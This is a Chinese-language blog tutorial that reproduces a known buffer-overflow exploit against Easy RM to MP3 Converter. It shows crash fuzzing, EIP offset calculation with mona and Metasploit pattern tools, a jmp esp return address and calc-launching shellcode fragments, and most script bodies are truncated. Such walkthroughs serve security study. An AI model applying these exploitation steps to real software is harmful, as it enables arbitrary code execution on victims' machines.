测试环境
- 系统:Win7 SP1 x64 (关闭安全防护)
- 调试器:Immunity Debugger
- 漏洞信息:https://www.exploit-db.com/exploits/9177
- 漏洞软件:Easy RM to MP3 Conversion Utility 2.7.3.700
Crash测试
生成Crash测试文件
1 | python -c "print 'A' * 10000" > crash.m3u |
使用Easy RM to MP3 Convertes
加载Playlist Files文件,选择crash.m3u。加载后,程序会报错。
程序未崩溃,说明我们的输入的Crash字符长度还不够。于是继续生成更长的crash字符
1 | python -c "print 'A' * 30000" > crash.m3u |
当加载30000个字符的文件时,程序崩溃。
漏洞利用
使用 Immunity Debugger打开RM2MP3Converter.exe,按下两次F9键运行程序,然后加载crash.m3u。
此时会看到Access violation when executing [41414141]
,并且EIP的值被覆盖,说明程序存在经典缓冲区溢出漏洞。接下来使用mona插件进行漏洞利用开发。
1.⽣成测试字符
在Immunity Debugger的命令执行窗口中输入:
1 | !mona pc 30000 |
运⾏完在日志文件C:\immdlogs\RM2MP3Converter\pattern.txt
中找到测试字符串。
2.确定EIP地址
编辑Python脚本,把上一步mona生成的测试字符串ASCII拷贝到测试mona30000.txt中,然后把mona30000.txt修改为mona30000.m3u。或者用下面的python脚本生成:
1 | #!/usr/bin/env python |
然后加载mona30000.m3u。此时在调试器中可以看到Access violation
标志,EIP的地址为346C4833
。
3.确定偏移量
在确定了EIP地址后,需要计算距离EIP的偏移量。
1 | !mona po 346C4833 |
此时在mona的日志窗口(ALT+L)中可以看到计算出的偏移量
1 | Pattern 3Hl4 (0x346C4833) found in cyclic pattern at position 5801 |
可以看到,这里计算出的EIP偏移是5801,明显跟Crash测试中确定的范围25000-30000不符合。于是换个方法。
mona区间方式计算偏移
确定造成程序崩溃的缓冲区长度区间
创建一个包含25000个A和5000个B的文件。加载后造成Crash,如果EIP包含41414141(AAAA),说明EIP位于20000和25000之间;如果EIP包含42424242(BBBB),则EIP位于25000和30000之间。
1 | #!/usr/bin/env python |
经过测试,可以确定EIP的偏移位于25000-30000之间。于是前25000都用A填充,使用!mona pc 5000
生成后5000个测试字符。使用下面的代码生成测试文件:
1 | #!/usr/bin/env python |
同上述步骤,加载eip.m3u文件后,在调试器中确定了eip地址为6B42306B
,执行!mona po 6B42306B
计算得到偏移量为1081。这个偏移量再加上25000,即25000+1081=26081
,因此正确的偏移量是26081。
Metasploit计算偏移量
Metasploit有辅助工具pattern_create.rb
、pattern_offset.rb
可以协助我们计算偏移量,用法与mona差不多。
1 | $ locate pattern_create.rb |
1.生成测试字符串
1 | $ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 30000 > pattern.txt |
与上面相同的操作步骤确定EIP地址为346C4833。
2.计算详细的偏移量。
1 | $ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 346C4833 -l 30000 |
可以推断,26081是正确的偏移量。
4.验证偏移量
此时可以编写脚本,验证偏移量是否正确,如果正确,返回地址会被覆盖成我们测试的内容。这里设置理想情况下,EIP的值被覆盖为BCDE
的十六进制值。
1 | #!/usr/bin/env python |
加载overeip.m3u后,我们可以在调试器中看到EIP已经被精准覆盖成了BCDE
的十六进制值。
确定了偏移量之后,可以开发漏洞利用代码了。
5.编写shellcode
查看加载的模块
1 | !mona modules |
我们使用”跳板”方式执行shellcode,可以在防护全关闭的模块中寻找。
最好的是找到一个ASLR = False
和Rebase = False
的模块,但是唯一的模块就是RM2MP3Converter.exe。但是,我们不能使用该模块,因为它的地址中有一个空字节。因此,接下来要尝试的是查看具有Rebase = True
和ASLR = False
的模块在实践中是否不会移动,即使从原理上讲它可以重新建立基础。最后仅保留ASLR = False
的模块。
这里我在user32.dll中搜索jmp esp
指令的地址。
1 | !mona find -s '\xff\xe4' -m 模块 |
我们使用0x7DC7FCDB
。接下来构造shellcode,使用弹计算器的shellcode。
1 | "\x33\xC0" # XOR EAX,EAX |
其中系统库函数WinExec、ExitProcess的地址:
1 | C:\arwin.exe Kernel32.dll WinExec => 0x7ddf3341 |
确定shellcode空间大小
1 | #!/usr/bin/env python |
加载后,我们看到F的位置就是能够输入的最大shellcode长度 ,即 192 字节
下面就是shellcode部分了。下载calc.exe shellcode,并将其转换为十六进制格式。可参考博文:binary to shellcode。
1 | if __name__ == "__main__": |
With my JMP ESP address and shellcode in hand, it was time to craft my full exploit.
1 | bof = open('crash.m3u','w') |
Reference
- Post title:Easy RM to MP3漏洞分析
- Post author:ssooking
- Create time:2020-01-26 12:27:00
- Post link:https://ssooking.github.io/2020/01/easy-rm-to-mp3漏洞分析/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.